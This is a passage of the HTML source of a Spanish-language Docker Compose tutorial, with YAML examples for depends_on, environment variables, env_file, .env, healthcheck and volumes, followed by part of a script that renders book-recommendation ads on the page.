expose:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;6379&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;depends_on&#34;&gt;depends_on&lt;/h3&gt;&#xA;&lt;p&gt;A veces queremos que uno de nuestros servicios se ejecute únicamente después de otro. Por ejemplo, para que un servidor web funcione correctamente es necesario tener una base de datos que ya se encuentre en funcionamiento.&lt;/p&gt;&#xA;&lt;p&gt;depends_on nos permite que el inicio de la ejecución de un servicio dependa de otras. En palabras más sencillas, le dice a docker-compose que deseamos arrancar el servicio web &lt;strong&gt;solo si ya se han cargado todos los demás servicios.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  web:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    build: .&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    command: python manage.py runserver 0.0.0.0:8000&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    depends_on:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - db&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - redis&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el ejemplo anterior docker-compose ejecutará el servicio web solo si ya están disponibles los servicios db y redis.&lt;/p&gt;&#xA;&lt;h3 id=&#34;environment&#34;&gt;environment&lt;/h3&gt;&#xA;&lt;p&gt;La configuración environment nos permite establecer una lista de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-printenv-export-lsof-top-ps-kill-curl-systemctl-chown-chroot/&#34;&gt;variables de entorno&lt;/a&gt;&#xA; que estarán disponibles en nuestro servicio.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  db:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: postgres&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    environment:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#ff5c57&#34;&gt;POSTGRES_USER&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;usuario&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#ff5c57&#34;&gt;POSTGRES_PASSWORD&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;contrasena&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;También podemos usar una sintaxis tipo diccionario en lugar de la de arriba.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  db:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: postgres&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    environment:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      MODE: development&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      DEBUG: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;true&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;variables-de-entorno-secretas&#34;&gt;variables de entorno secretas&lt;/h4&gt;&#xA;&lt;p&gt;Si no especificamos un valor para una variable de entorno y dejamos su valor en blanco, docker-compose la tomará de la máquina donde se esté ejecutando docker-compose.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  db:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: postgres&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    environment:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      MODE: development&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      DEBUG: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;true&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      SECRET_KEY:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;De esta manera no tenemos que exponer información sensible si decidimos compartir nuestros archivos de Docker compose o guardarlos en un sistema de versión de controles.&lt;/p&gt;&#xA;&lt;h3 id=&#34;env_file&#34;&gt;env_file&lt;/h3&gt;&#xA;&lt;p&gt;Si queremos cargar múltiples variables de entorno, en lugar de especificar las variables una por una, en nuestro archivo usaremos env_file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:  &lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  web:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    build: .&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    command: python manage.py runserver 0.0.0.0:8000&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    env_file: common.env&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Considera que la directriz &lt;em&gt;env_file&lt;/em&gt; carga valores dentro de los contenedores. Por lo que estas variables no estarán disponibles al momento de crear el contenedor. Por ejemplo: no puedes poner la variable PORT en un env_file y luego condicionar el puerto que expone tu servicio.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# NO ES POSIBLE ESTO&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;expose&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  - &lt;span style=&#34;color:#5af78e&#34;&gt;${&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;PORT&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;variables-de-entorno-con-env&#34;&gt;Variables de entorno con .env&lt;/h3&gt;&#xA;&lt;p&gt;Docker compose carga automáticamente un archivo llamado &lt;em&gt;.env&lt;/em&gt; que se encuentre en la raiz del proyecto y utiliza sus variables de entorno en la configuración de sus servicios.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Posible con un archivo.env que contenga PORT=8009&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;expose&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  - &lt;span style=&#34;color:#5af78e&#34;&gt;${&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;PORT&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;healthcheck&#34;&gt;healthcheck&lt;/h3&gt;&#xA;&lt;p&gt;Este comando es para corroborar el estado de un servicio de manera periódica. Es decir podemos crear un comando que nos permita saber si nuestro contenedor está corriendo de manera correcta.&lt;/p&gt;&#xA;&lt;p&gt;Con la configuración que se encuentra más abajo, Healtcheck va a ejecutar un curl a localhost, cada minuto y medio, una vez hayan pasado 40 segundos, si el comando tarda más de 10 segundos en devolver un resultado lo considerará como un fallo y si un fallo ocurre más de 3 veces el servicio se considerará &amp;ldquo;no saludable&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:  &lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  web:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    build: .&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    command: python manage.py runserver 0.0.0.0:8000&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    env_file: common.env&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    healthcheck:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      test: &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;CMD&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;curl&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;-f&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://localhost&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      interval: 1m30s&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      timeout: 10s&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      retries: &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      start_period: 40s&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;volumes&#34;&gt;volumes&lt;/h3&gt;&#xA;&lt;p&gt;Podemos mandar partes de nuestro sistema operativo a un servicio usando uno o varios volúmenes. Para esto usamos la sintaxis HOST:CONTENEDOR. Host puede ser una ubicación en tu sistema o también el nombre de un volumen que hayas creado con docker.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:  &lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  db:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: postgres:latest&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    volumes:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/var/run/postgres/postgres.sock:/var/run/postgres/postgres.sock&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;dbdata:/var/lib/postgresql/data&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Te ahorraré algo de tiempo. Me costó mucho aprender las bases de Kubernetes, después de ver múltiples videotutoriales (gratuitos y de paga) y leer algunos blogs sobre el tema, encontré este libro, me dio lo que otros recursos no pudieron así que me siento bastante cómodo recomendándolo. ¡Échale un vistazo!\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Kubernetes up and running\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/kubernetes-up-and-running.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4k0MDga\&#34;,\&#34;linkText\&#34;:\&#34;Consulte el libro Kubernetes up and running en Amazon\&#34;,\&#34;title\&#34;:\&#34;Cual es el mejor recurso para aprender Kubernetes\&#34;},{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : 